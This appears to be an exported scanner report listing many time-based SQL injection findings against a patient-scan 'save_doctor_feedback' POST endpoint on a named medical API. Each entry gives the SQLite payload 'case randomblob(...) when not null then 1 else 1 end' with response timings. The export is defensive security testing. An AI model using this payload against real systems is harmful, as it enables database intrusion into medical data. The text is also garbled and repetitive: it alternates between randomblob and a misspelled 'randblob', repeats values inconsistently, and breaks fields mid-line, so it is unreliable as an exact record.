Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,099] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,008] milliseconds, when the original unmodified query with value [249] took [280] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,099] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,008] milliseconds, when the original unmodified query with value [249] took [280] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,117] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,777] milliseconds, when the original unmodified query with value [1095] took [1,532] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,117] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,777] milliseconds, when the original unmodified query with value [1095] took [1,532] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,134] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,899] milliseconds, when the original unmodified query with value [213] took [1,594] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,134] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,899] milliseconds, when the original unmodified query with value [213] took [1,594] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,225] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,559] milliseconds, when the original unmodified query with value [220] took [773] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,225] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,559] milliseconds, when the original unmodified query with value [220] took [773] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,670] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,784] milliseconds, when the original unmodified query with value [37] took [1,782] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,670] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,784] milliseconds, when the original unmodified query with value [37] took [1,782] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,835] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,219] milliseconds, when the original unmodified query with value [234] took [2,052] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,835] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,219] milliseconds, when the original unmodified query with value [234] took [2,052] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [264] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the

request to take [372] milliseconds, when the original unmodified query with value [493] took [258] milliseconds.

Other Info

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [264] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [372] milliseconds, when the original unmodified query with value [493] took [258] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randblob(10000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [264] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [821] milliseconds, when the original unmodified query with value [162] took [1,110] milliseconds.

Other Info

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [264] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [821] milliseconds, when the original unmodified query with value [162] took [1,110] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randblob(10000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [269] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,528] milliseconds, when the original unmodified query with value [200] took [1,381] milliseconds.

Other Info

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [269] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,528] milliseconds, when the original unmodified query with value [200] took [1,381] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randblob(10000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [269] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [439] milliseconds, when the original unmodified query with value [601] took [878] milliseconds.

Other Info

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [269] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [439] milliseconds, when the original unmodified query with value [601] took [878] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randblob(10000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,418] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,539] milliseconds, when the original unmodified query with value [769] took [1,359] milliseconds.

The query time is controllable using parameter value [case randblob(10000000) when

Other Info	not null then 1 else 1 end], which caused the request to take [3,418] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,539] milliseconds, when the original unmodified query with value [769] took [1,359] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,683] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,541] milliseconds, when the original unmodified query with value [893] took [3,553] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,683] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,541] milliseconds, when the original unmodified query with value [893] took [3,553] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,289] milliseconds, when the original unmodified query with value [164] took [1,071] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,289] milliseconds, when the original unmodified query with value [164] took [1,071] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [771] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,048] milliseconds, when the original unmodified query with value [230] took [4,102] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [771] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,048] milliseconds, when the original unmodified query with value [230] took [4,102] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [773] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,552] milliseconds, when the original unmodified query with value [181] took [1,717] milliseconds.
Other	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [773] milliseconds, parameter

Info	value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,552] milliseconds, when the original unmodified query with value [181] took [1,717] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [782] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,953] milliseconds, when the original unmodified query with value [239] took [1,414] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [782] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,953] milliseconds, when the original unmodified query with value [239] took [1,414] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [825] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,384] milliseconds, when the original unmodified query with value [164] took [1,652] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [825] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,384] milliseconds, when the original unmodified query with value [164] took [1,652] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [856] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,052] milliseconds, when the original unmodified query with value [604] took [1,283] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [856] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,052] milliseconds, when the original unmodified query with value [604] took [1,283] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [878] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,095] milliseconds, when the original unmodified query with value [54] took [3,048] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [878] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,095] milliseconds, when the original unmodified query with value [54] took [3,048] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [930] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,927] milliseconds, when the original unmodified query with value [600] took [872] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [930] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,927] milliseconds, when the original unmodified query with value [600] took [872] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [979] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,011] milliseconds, when the original unmodified query with value [205] took [1,030] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [979] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,011] milliseconds, when the original unmodified query with value [205] took [1,030] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [980] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,631] milliseconds, when the original unmodified query with value [10] took [1,072] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [980] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,631] milliseconds, when the original unmodified query with value [10] took [1,072] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,044] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,576] milliseconds, when the original unmodified query with value [205] took [4,175] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,044] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,576] milliseconds, when the original unmodified query with value [205] took [4,175] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,103] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,245] milliseconds, when the original unmodified query with value [203] took [2,698] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,103] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,245] milliseconds, when the original unmodified query with value [203] took [2,698] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,254] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,124] milliseconds, when the original unmodified query with value [125] took [1,234] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,254] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,124] milliseconds, when the original unmodified query with value [125] took [1,234] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,264] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,210] milliseconds, when the original unmodified query with value [344.1973797966452] took [991] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,264] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,210] milliseconds, when the original unmodified query with value [344.1973797966452] took [991] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,278] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,554] milliseconds, when the original unmodified query with value [220] took [1,385] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,278] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,554] milliseconds, when the original unmodified query with value [220] took [1,385] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,426] milliseconds,
Evidence	parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [7,335] milliseconds, when the original unmodified query with value [147] took [4,138] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,426] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [7,335] milliseconds, when the original unmodified query with value [147] took [4,138] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,540] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,674] milliseconds, when the original unmodified query with value [188] took [3,916] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,540] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,674] milliseconds, when the original unmodified query with value [188] took [3,916] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,553] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,697] milliseconds, when the original unmodified query with value [1095] took [2,610] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,553] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,697] milliseconds, when the original unmodified query with value [1095] took [2,610] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,579] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,108] milliseconds, when the original unmodified query with value [173] took [1,044] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,579] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,108] milliseconds, when the original unmodified query with value [173] took [1,044] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,651] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,736] milliseconds, when the original unmodified query with value [208] took [2,856] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,651] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,736] milliseconds, when the original unmodified query with value [208] took [2,856] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,801] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,283] milliseconds, when the original unmodified query with value [186] took [772] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,801] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,283] milliseconds, when the original unmodified query with value [186] took [772] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,815] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,931] milliseconds, when the original unmodified query with value [10] took [913] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,815] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,931] milliseconds, when the original unmodified query with value [10] took [913] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,992] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,503] milliseconds, when the original unmodified query with value [247] took [1,800] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,992] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,503] milliseconds, when the original unmodified query with value [247] took [1,800] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,994] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,954] milliseconds, when the original unmodified query with value [181] took [3,110] milliseconds.
Other	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,994] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which
Info	caused the request to take [4,954] milliseconds, when the original unmodified query with value [181] took [3,110] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,032] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,887] milliseconds, when the original unmodified query with value [181] took [2,034] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,032] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,887] milliseconds, when the original unmodified query with value [181] took [2,034] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,042] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,833] milliseconds, when the original unmodified query with value [112] took [1,993] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,042] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,833] milliseconds, when the original unmodified query with value [112] took [1,993] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,131] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,575] milliseconds, when the original unmodified query with value [276] took [4,101] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,131] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,575] milliseconds, when the original unmodified query with value [276] took [4,101] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,210] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,416] milliseconds, when the original unmodified query with value [215] took [3,279] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,210] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,416] milliseconds, when the original unmodified query with value [215] took [3,279] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,301] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,795] milliseconds, when the original unmodified query with value [222] took [3,521] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,301] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,795] milliseconds, when the original unmodified query with value [222] took [3,521] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,488] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,784] milliseconds, when the original unmodified query with value [171] took [3,898] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,488] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,784] milliseconds, when the original unmodified query with value [171] took [3,898] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,509] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,906] milliseconds, when the original unmodified query with value [904] took [1,279] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,509] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,906] milliseconds, when the original unmodified query with value [904] took [1,279] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,542] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,655] milliseconds, when the original unmodified query with value [407] took [2,820] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,542] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,655] milliseconds, when the original unmodified query with value [407] took [2,820] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,557] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [8,708] milliseconds, when the original unmodified query with value [86] took [1,447] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,557] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [8,708] milliseconds, when the original unmodified query with value [86] took [1,447] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,193] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,612] milliseconds, when the original unmodified query with value [833] took [256] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,193] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,612] milliseconds, when the original unmodified query with value [833] took [256] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
